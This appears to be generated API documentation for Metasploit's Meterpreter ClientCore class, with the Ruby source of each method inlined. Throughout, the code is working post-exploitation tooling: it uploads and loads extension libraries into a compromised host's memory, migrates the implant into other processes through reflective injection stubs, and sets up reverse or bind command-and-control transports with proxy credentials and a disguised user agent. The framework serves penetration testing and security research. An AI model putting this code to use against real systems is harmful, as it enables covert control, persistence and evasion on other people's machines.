class Rex::Post::Meterpreter::ClientCore
This class is responsible for providing the interface to the core client-side meterpreter API which facilitates the loading of extensions and the interaction with channels.
Constants
- DEFAULT_SOCK_PATH
- METERPRETER_TRANSPORT_HTTP
- METERPRETER_TRANSPORT_HTTPS
- METERPRETER_TRANSPORT_SSL
- TIMEOUT_COMMS
- TIMEOUT_RETRY_TOTAL
- TIMEOUT_RETRY_WAIT
- TIMEOUT_SESSION
- UNIX_PATH_MAX
- VALID_TRANSPORTS
Public Class Methods
Initializes the 'core' portion of the meterpreter client commands.
# File lib/rex/post/meterpreter/client_core.rb, line 55 def initialize(client) super(client, 'core') end
Public Instance Methods
Disable the SSL certificate has verificate
# File lib/rex/post/meterpreter/client_core.rb, line 402 def disable_ssl_hash_verify # Not supported unless we have a socket with SSL enabled return nil unless self.client.sock.type? == 'tcp-ssl' request = Packet.create_request('core_transport_setcerthash') # send an empty request to disable it client.send_request(request) return true end
Enable the SSL certificate has verificate
# File lib/rex/post/meterpreter/client_core.rb, line 385 def enable_ssl_hash_verify # Not supported unless we have a socket with SSL enabled return nil unless self.client.sock.type? == 'tcp-ssl' request = Packet.create_request('core_transport_setcerthash') hash = Rex::Text.sha1_raw(self.client.sock.sslctx.cert.to_der) request.add_tlv(TLV_TYPE_TRANS_CERT_HASH, hash) client.send_request(request) return hash end
Get a list of loaded commands for the given extension.
# File lib/rex/post/meterpreter/client_core.rb, line 68 def get_loaded_extension_commands(extension_name) request = Packet.create_request('core_enumextcmd') request.add_tlv(TLV_TYPE_STRING, extension_name) begin response = self.client.send_packet_wait_response(request, self.client.response_timeout) rescue # In the case where orphaned shells call back with OLD copies of the meterpreter # binaries, we end up with a case where this fails. So here we just return the # empty list of supported commands. return [] end # No response? if response.nil? raise RuntimeError, 'No response was received to the core_enumextcmd request.', caller elsif response.result != 0 # This case happens when the target doesn't support the core_enumextcmd message. # If this is the case, then we just want to ignore the error and return an empty # list. This will force the caller to load any required modules. return [] end commands = [] response.each(TLV_TYPE_STRING) { |c| commands << c.value } commands end
Attempt to get the SSL hash being used for verificaton (if any).
@return 20-byte sha1 hash currently being used for verification.
# File lib/rex/post/meterpreter/client_core.rb, line 419 def get_ssl_hash_verify # Not supported unless we have a socket with SSL enabled return nil unless self.client.sock.type? == 'tcp-ssl' request = Packet.create_request('core_transport_getcerthash') response = client.send_request(request) return response.get_tlv_value(TLV_TYPE_TRANS_CERT_HASH) end
Loads a library on the remote meterpreter instance. This method supports loading both extension and non-extension libraries and also supports loading libraries from memory or disk depending on the flags that are specified
Supported flags:
LibraryFilePath The path to the library that is to be loaded TargetFilePath The target library path when uploading UploadLibrary Indicates whether or not the library should be uploaded SaveToDisk Indicates whether or not the library should be saved to disk on the remote machine Extension Indicates whether or not the library is a meterpreter extension
# File lib/rex/post/meterpreter/client_core.rb, line 175 def load_library(opts) library_path = opts['LibraryFilePath'] target_path = opts['TargetFilePath'] load_flags = LOAD_LIBRARY_FLAG_LOCAL # No library path, no cookie. if library_path.nil? raise ArgumentError, 'No library file path was supplied', caller end # Set up the proper loading flags if opts['UploadLibrary'] load_flags &= ~LOAD_LIBRARY_FLAG_LOCAL end if opts['SaveToDisk'] load_flags |= LOAD_LIBRARY_FLAG_ON_DISK end if opts['Extension'] load_flags |= LOAD_LIBRARY_FLAG_EXTENSION end # Create a request packet request = Packet.create_request('core_loadlib') # If we must upload the library, do so now if (load_flags & LOAD_LIBRARY_FLAG_LOCAL) != LOAD_LIBRARY_FLAG_LOCAL image = '' ::File.open(library_path, 'rb') { |f| image = f.read } if !image.nil? request.add_tlv(TLV_TYPE_DATA, image, false, client.capabilities[:zlib]) else raise RuntimeError, "Failed to serialize library #{library_path}.", caller end # If it's an extension we're dealing with, rename the library # path of the local and target so that it gets loaded with a random # name if opts['Extension'] library_path = "ext#{rand(1000000)}.#{client.binary_suffix}" target_path = library_path end end # Add the base TLVs request.add_tlv(TLV_TYPE_LIBRARY_PATH, library_path) request.add_tlv(TLV_TYPE_FLAGS, load_flags) if !target_path.nil? request.add_tlv(TLV_TYPE_TARGET_PATH, target_path) end # Transmit the request and wait the default timeout seconds for a response response = self.client.send_packet_wait_response(request, self.client.response_timeout) # No response? if response.nil? raise RuntimeError, 'No response was received to the core_loadlib request.', caller elsif response.result != 0 raise RuntimeError, "The core_loadlib request failed with result: #{response.result}.", caller end commands = [] response.each(TLV_TYPE_METHOD) { |c| commands << c.value } return commands end
# File lib/rex/post/meterpreter/client_core.rb, line 310 def machine_id(timeout=nil) request = Packet.create_request('core_machine_id') args = [ request ] args << timeout if timeout response = client.send_request(*args) mid = response.get_tlv_value(TLV_TYPE_MACHINE_ID) # Normalise the format of the incoming machine id so that it's consistent # regardless of case and leading/trailing spaces. This means that the # individual meterpreters don't have to care. # Note that the machine ID may be blank or nil and that is OK Rex::Text.md5(mid.to_s.downcase.strip) end
Migrates the meterpreter instance to the process specified by pid. The connection to the server remains established.
# File lib/rex/post/meterpreter/client_core.rb, line 433 def migrate(pid, writable_dir = nil, opts = {}) keepalive = client.send_keepalives client.send_keepalives = false process = nil binary_suffix = nil old_platform = client.platform old_binary_suffix = client.binary_suffix # Load in the stdapi extension if not allready present so we can determine the target pid architecture... client.core.use('stdapi') if not client.ext.aliases.include?('stdapi') # Determine the architecture for the pid we are going to migrate into... client.sys.process.processes.each { | p | if p['pid'] == pid process = p break end } # We cant migrate into a process that does not exist. unless process raise RuntimeError, 'Cannot migrate into non existent process', caller end # We cannot migrate into a process that we are unable to open # On linux, arch is empty even if we can access the process if client.platform =~ /win/ if process['arch'] == nil || process['arch'].empty? raise RuntimeError, "Cannot migrate into this process (insufficient privileges)", caller end end # And we also cannot migrate into our own current process... if process['pid'] == client.sys.process.getpid raise RuntimeError, 'Cannot migrate into current process', caller end if client.platform =~ /linux/ if writable_dir.to_s.empty? writable_dir = tmp_folder end stat_dir = client.fs.filestat.new(writable_dir) unless stat_dir.directory? raise RuntimeError, "Directory #{writable_dir} not found", caller end # Rex::Post::FileStat#writable? isn't available end blob = generate_payload_stub(process) # Build the migration request request = Packet.create_request('core_migrate') if client.platform =~ /linux/i socket_path = File.join(writable_dir, Rex::Text.rand_text_alpha_lower(5 + rand(5))) if socket_path.length > UNIX_PATH_MAX - 1 raise RuntimeError, 'The writable dir is too long', caller end pos = blob.index(DEFAULT_SOCK_PATH) if pos.nil? raise RuntimeError, 'The meterpreter binary is wrong', caller end blob[pos, socket_path.length + 1] = socket_path + "\x00" ep = elf_ep(blob) request.add_tlv(TLV_TYPE_MIGRATE_BASE_ADDR, 0x20040000) request.add_tlv(TLV_TYPE_MIGRATE_ENTRY_POINT, ep) request.add_tlv(TLV_TYPE_MIGRATE_SOCKET_PATH, socket_path, false, client.capabilities[:zlib]) end request.add_tlv( TLV_TYPE_MIGRATE_PID, pid ) request.add_tlv( TLV_TYPE_MIGRATE_LEN, blob.length ) request.add_tlv( TLV_TYPE_MIGRATE_PAYLOAD, blob, false, client.capabilities[:zlib]) if process['arch'] == ARCH_X86_64 request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 2 ) # PROCESS_ARCH_X64 else request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 1 ) # PROCESS_ARCH_X86 end # Send the migration request. Timeout can be specified by the caller, or set to a min # of 60 seconds. timeout = [(opts[:timeout] || 0), 60].max client.send_request(request, timeout) if client.passive_service # Sleep for 5 seconds to allow the full handoff, this prevents # the original process from stealing our loadlib requests ::IO.select(nil, nil, nil, 5.0) else # Prevent new commands from being sent while we finish migrating client.comm_mutex.synchronize do # Disable the socket request monitor client.monitor_stop ### # Now communicating with the new process ### # If renegotiation takes longer than a minute, it's a pretty # good bet that migration failed and the remote side is hung. # Since we have the comm_mutex here, we *must* release it to # keep from hanging the packet dispatcher thread, which results # in blocking the entire process. begin Timeout.timeout(timeout) do # Renegotiate SSL over this socket client.swap_sock_ssl_to_plain() client.swap_sock_plain_to_ssl() end rescue TimeoutError client.alive = false return false end # Restart the socket monitor client.monitor_socket end end # Update the meterpreter platform/suffix for loading extensions as we may # have changed target architecture # sf: this is kinda hacky but it works. As ruby doesnt let you un-include a # module this is the simplest solution I could think of. If the platform # specific modules Meterpreter_x64_Win/Meterpreter_x86_Win change # significantly we will need a better way to do this. case client.platform when /win/i if process['arch'] == ARCH_X86_64 client.platform = 'x64/win64' client.binary_suffix = 'x64.dll' else client.platform = 'x86/win32' client.binary_suffix = 'x86.dll' end when /linux/i client.platform = 'x86/linux' client.binary_suffix = 'lso' else client.platform = old_platform client.binary_suffix = old_binary_suffix end # Load all the extensions that were loaded in the previous instance (using the correct platform/binary_suffix) client.ext.aliases.keys.each { |e| client.core.use(e) } # Restore session keep-alives client.send_keepalives = keepalive return true end
# File lib/rex/post/meterpreter/client_core.rb, line 125 def set_transport_timeouts(opts={}) request = Packet.create_request('core_transport_set_timeouts') if opts[:session_exp] request.add_tlv(TLV_TYPE_TRANS_SESSION_EXP, opts[:session_exp]) end if opts[:comm_timeout] request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, opts[:comm_timeout]) end if opts[:retry_total] request.add_tlv(TLV_TYPE_TRANS_RETRY_TOTAL, opts[:retry_total]) end if opts[:retry_wait] request.add_tlv(TLV_TYPE_TRANS_RETRY_WAIT, opts[:retry_wait]) end response = client.send_request(request) { :session_exp => response.get_tlv_value(TLV_TYPE_TRANS_SESSION_EXP), :comm_timeout => response.get_tlv_value(TLV_TYPE_TRANS_COMM_TIMEOUT), :retry_total => response.get_tlv_value(TLV_TYPE_TRANS_RETRY_TOTAL), :retry_wait => response.get_tlv_value(TLV_TYPE_TRANS_RETRY_WAIT) } end
Shuts the session down
# File lib/rex/post/meterpreter/client_core.rb, line 598 def shutdown request = Packet.create_request('core_shutdown') # If this is a standard TCP session, send and return if not client.passive_service self.client.send_packet(request) else # If this is a HTTP/HTTPS session we need to wait a few seconds # otherwise the session may not receive the command before we # kill the handler. This could be improved by the server side # sending a reply to shutdown first. self.client.send_packet_wait_response(request, 10) end true end
# File lib/rex/post/meterpreter/client_core.rb, line 338 def transport_add(opts={}) request = transport_prepare_request('core_transport_add', opts) return false unless request client.send_request(request) return true end
# File lib/rex/post/meterpreter/client_core.rb, line 348 def transport_change(opts={}) request = transport_prepare_request('core_transport_change', opts) return false unless request client.send_request(request) return true end
# File lib/rex/post/meterpreter/client_core.rb, line 99 def transport_list request = Packet.create_request('core_transport_list') response = client.send_request(request) result = { :session_exp => response.get_tlv_value(TLV_TYPE_TRANS_SESSION_EXP), :transports => [] } response.each(TLV_TYPE_TRANS_GROUP) { |t| result[:transports] << { :url => t.get_tlv_value(TLV_TYPE_TRANS_URL), :comm_timeout => t.get_tlv_value(TLV_TYPE_TRANS_COMM_TIMEOUT), :retry_total => t.get_tlv_value(TLV_TYPE_TRANS_RETRY_TOTAL), :retry_wait => t.get_tlv_value(TLV_TYPE_TRANS_RETRY_WAIT), :ua => t.get_tlv_value(TLV_TYPE_TRANS_UA), :proxy_host => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_HOST), :proxy_user => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_USER), :proxy_pass => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_PASS), :cert_hash => t.get_tlv_value(TLV_TYPE_TRANS_CERT_HASH) } } result end
# File lib/rex/post/meterpreter/client_core.rb, line 370 def transport_next request = Packet.create_request('core_transport_next') client.send_request(request) return true end
# File lib/rex/post/meterpreter/client_core.rb, line 376 def transport_prev request = Packet.create_request('core_transport_prev') client.send_request(request) return true end
# File lib/rex/post/meterpreter/client_core.rb, line 328 def transport_remove(opts={}) request = transport_prepare_request('core_transport_remove', opts) return false unless request client.send_request(request) return true end
# File lib/rex/post/meterpreter/client_core.rb, line 358 def transport_sleep(seconds) return false if seconds == 0 request = Packet.create_request('core_transport_sleep') # we're reusing the comms timeout setting here instead of # creating a whole new TLV value request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, seconds) client.send_request(request) return true end
Loads a meterpreter extension on the remote server instance and initializes the client-side extension handlers
Module The module that should be loaded LoadFromDisk Indicates that the library should be loaded from disk, not from memory on the remote machine
# File lib/rex/post/meterpreter/client_core.rb, line 259 def use(mod, opts = { }) if mod.nil? raise RuntimeError, "No modules were specified", caller end # Query the remote instance to see if commands for the extension are # already loaded commands = get_loaded_extension_commands(mod.downcase) # if there are existing commands for the given extension, then we can use # what's already there unless commands.length > 0 # Get us to the installation root and then into data/meterpreter, where # the file is expected to be modname = "ext_server_#{mod.downcase}" path = MetasploitPayloads.meterpreter_path(modname, client.binary_suffix) if opts['ExtensionPath'] path = ::File.expand_path(opts['ExtensionPath']) end if path.nil? raise RuntimeError, "No module of the name #{modname}.#{client.binary_suffix} found", caller end # Load the extension DLL commands = load_library( 'LibraryFilePath' => path, 'UploadLibrary' => true, 'Extension' => true, 'SaveToDisk' => opts['LoadFromDisk']) end # wire the commands into the client client.add_extension(mod, commands) return true end
# File lib/rex/post/meterpreter/client_core.rb, line 298 def uuid(timeout=nil) request = Packet.create_request('core_uuid') args = [ request ] args << timeout if timeout response = client.send_request(*args) id = response.get_tlv_value(TLV_TYPE_UUID) return Msf::Payload::UUID.new({:raw => id}) end
Indicates if the given transport is a valid transport option.
# File lib/rex/post/meterpreter/client_core.rb, line 617 def valid_transport?(transport) if transport VALID_TRANSPORTS.has_key?(transport.downcase) else false end end
Private Instance Methods
# File lib/rex/post/meterpreter/client_core.rb, line 745 def elf_ep(payload) elf = Rex::ElfParsey::Elf.new( Rex::ImageSource::Memory.new( payload ) ) ep = elf.elf_header.e_entry return ep end
# File lib/rex/post/meterpreter/client_core.rb, line 739 def generate_linux_stub blob = MetasploitPayloads.read('meterpreter', 'msflinker_linux_x86.bin') blob end
# File lib/rex/post/meterpreter/client_core.rb, line 705 def generate_payload_stub(process) case client.platform when /win/i blob = generate_windows_stub(process) when /linux/i blob = generate_linux_stub else raise RuntimeError, "Unsupported platform '#{client.platform}'" end blob end
# File lib/rex/post/meterpreter/client_core.rb, line 718 def generate_windows_stub(process) c = Class.new( ::Msf::Payload ) c.include( ::Msf::Payload::Stager ) # Include the appropriate reflective dll injection module for the target process architecture... if process['arch'] == ARCH_X86 c.include( ::Msf::Payload::Windows::MeterpreterLoader ) elsif process['arch'] == ARCH_X86_64 c.include( ::Msf::Payload::Windows::MeterpreterLoader_x64 ) else raise RuntimeError, "Unsupported target architecture '#{process['arch']}' for process '#{process['name']}'.", caller end # Create the migrate stager migrate_stager = c.new() blob = migrate_stager.stage_meterpreter blob end
# File lib/rex/post/meterpreter/client_core.rb, line 751 def tmp_folder tmp = client.sys.config.getenv('TMPDIR') if tmp.to_s.empty? tmp = '/tmp' end tmp end
# File lib/rex/post/meterpreter/client_core.rb, line 627 def transport_prepare_request(method, opts={}) unless valid_transport?(opts[:transport]) && opts[:lport] return nil end if opts[:transport].starts_with?('reverse') return false unless opts[:lhost] else # Bind shouldn't have lhost set opts[:lhost] = nil end transport = VALID_TRANSPORTS[opts[:transport]] request = Packet.create_request(method) scheme = opts[:transport].split('_')[1] url = "#{scheme}://#{opts[:lhost]}:#{opts[:lport]}" if opts[:comm_timeout] request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, opts[:comm_timeout]) end if opts[:session_exp] request.add_tlv(TLV_TYPE_TRANS_SESSION_EXP, opts[:session_exp]) end if opts[:retry_total] request.add_tlv(TLV_TYPE_TRANS_RETRY_TOTAL, opts[:retry_total]) end if opts[:retry_wait] request.add_tlv(TLV_TYPE_TRANS_RETRY_WAIT, opts[:retry_wait]) end # do more magic work for http(s) payloads unless opts[:transport].ends_with?('tcp') if opts[:uri] url << '/' unless opts[:uri].start_with?('/') url << opts[:uri] url << '/' unless opts[:uri].end_with?('/') else sum = uri_checksum_lookup(:connect) url << generate_uri_uuid(sum, opts[:uuid]) + '/' end # TODO: randomise if not specified? opts[:ua] ||= 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)' request.add_tlv(TLV_TYPE_TRANS_UA, opts[:ua]) if transport == METERPRETER_TRANSPORT_HTTPS && opts[:cert] hash = Rex::Parser::X509Certificate.get_cert_file_hash(opts[:cert]) request.add_tlv(TLV_TYPE_TRANS_CERT_HASH, hash) end if opts[:proxy_host] && opts[:proxy_port] prefix = 'http://' prefix = 'socks=' if opts[:proxy_type] == 'socks' proxy = "#{prefix}#{opts[:proxy_host]}:#{opts[:proxy_port]}" request.add_tlv(TLV_TYPE_TRANS_PROXY_HOST, proxy) if opts[:proxy_user] request.add_tlv(TLV_TYPE_TRANS_PROXY_USER, opts[:proxy_user]) end if opts[:proxy_pass] request.add_tlv(TLV_TYPE_TRANS_PROXY_PASS, opts[:proxy_pass]) end end end request.add_tlv(TLV_TYPE_TRANS_TYPE, transport) request.add_tlv(TLV_TYPE_TRANS_URL, url) return request end